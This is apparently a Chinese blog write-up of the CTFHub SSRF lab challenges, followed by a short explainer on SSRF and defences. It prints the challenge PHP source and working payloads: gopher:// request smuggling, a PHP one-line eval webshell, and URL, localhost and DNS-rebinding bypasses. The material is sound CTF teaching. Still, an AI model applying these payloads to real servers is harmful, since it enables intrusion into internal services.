CTFhub--SSRF

1.内网访问

题目

尝试访问flag.php

简简单单

2.伪协议读取文件

题目

尝试去读取一下Web目录下的flag.php

访问并且查看源码

简单

3.端口扫描

题目

端口范围是8000-9000

根据提示对目标端口进行爆破

发现端口8310异常,访问,取得flag

4.POST请求

题目

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转

根据提目,分别访问302.php,flag.php,index.php

//PHP

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
//302

<?php
if(isset($_GET['url'])){
    header("Location: {$_GET[‘url‘]}");
    exit;
}

highlight_file(__FILE__);
//index

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

根据flag.php的源码,我们使用gopher://协议进行传输
修改请求包相关信息如下

POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36
key=e64d3284e9a8b1a4c3e3dcdf7d08a495

进行两次url编码后上传,得到flag

5.文件上传

题目

上传一个文件到flag.php

通过伪协议访问flag.php,发现没有提交按钮,自己补上

上传一句话木马文件,然后进行抓包,将抓到的包进行上一题的操作,得到结果如下

?url=gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%250d%250aHost: challenge-a9b240db05937d0d.sandbox.ctfhub.com:10800%250d%250aUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0%250d%250aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%250d%250aAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%250d%250aAccept-Encoding: gzip, deflate%250d%250aReferer: http://challenge-a9b240db05937d0d.sandbox.ctfhub.com:10800%250d%250aDNT: 1%250d%250aConnection: close%250d%250aUpgrade-Insecure-Requests: 1%250d%250aContent-Type: multipart/form-data; boundary=---------------------------6494119058275%250d%250aContent-Length: 228%250d%250a%250d%250a-----------------------------6494119058275%250d%250aContent-Disposition: form-data; name="file"; filename="2.php"%250d%250aContent-Type: application/octet-stream%250d%250a%250d%250a
<?php @eval($_REQUEST[peak]);?>%250d%250a-----------------------------6494119058275--

6.URL bypass

题目

请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

尝试使用?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

因为http://www.baidu.com@127.0.0.1 等于http://127.0.0.1

访问成功,取得flag

7.数字IP bypass

题目

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

localhost等同于127.0.0.1,所以访问localhost,取得flag

8.302跳转 Bypass

题目

SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

此题依旧可以使用localhost进行访问,取得flag

9.DNS重绑定 bypass

题目

DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

使用file://协议查看inde.php和flag.php源码

可见,过滤了127、172、10、192等

通过该网页进行转换

使用下面的地址进行访问-----?url=7f000001.7f000002.rbndr.us/flag.php

取得flag

### CTFHub Web平台中的SSRF漏洞利用Post请求 #### SSRF漏洞概述 服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种攻击方式,其中攻击者能够诱使服务器向任意URL发出HTTP请求。这种攻击可能让攻击者绕过防火墙和其他安全控制措施,访问内部网络资源或敏感数据。 当应用程序允许用户输入并将其作为部分构建对外部服务的请求时,如果没有适当验证这些输入,则可能存在SSRF风险[^1]。 #### Post请求下的SSRF漏洞利用实例 在某些情况下,Web应用会接受来自用户的POST参数,并基于此创建新的HTTP POST请求到指定的目标位置。假设有一个接口`/api/fetchData`接收两个字段:一个是目标网址(`url`);另一个是要发送的数据体(`data`)。如果这个API不对传入的`url`做任何校验就直接发起请求的话,那么它就是一个潜在的SSRF入口点[^3]。 例如,在CTF场景下,可以通过构造如下表单提交来测试是否存在此类漏洞: ```html <form action="http://example.com/api/fetchData" method="POST"> <input type="hidden" name="url" value="http://internal-service/admin"/> <textarea name="data">{"action":"listUsers"}</textarea> <button>Submit</button> </form> ``` 一旦成功触发该行为,服务器就会尝试连接至所提供的内部路径并向其传递JSON负载,这可能导致未授权的信息泄露或其他更严重的后果。 #### 防御策略建议 为了防止上述情况的发生,应该采取以下几种方法加强防护: - **严格验证所有外部可控变量**:确保每一个由客户端提供的值都被仔细审查,特别是那些用来组成最终调用链路的部分。 - **采用白名单模式限定可到达的目的地集合**:仅限于已知可信站点列表内的链接才被准许处理,拒绝一切超出范围之外的选择。 - **实施细粒度的身份认证与权限管理**:即使是在受控环境之内也要遵循最小特权原则,即只有真正必要的时候才能给予特定实体执行高危动作的权利。 另外值得注意的是,除了基本防范手段外还可以考虑引入诸如代理层之类的技术方案进一步隔离内外网之间的交互过程,减少暴露面的同时也增加了中间件层面的安全保障能力[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值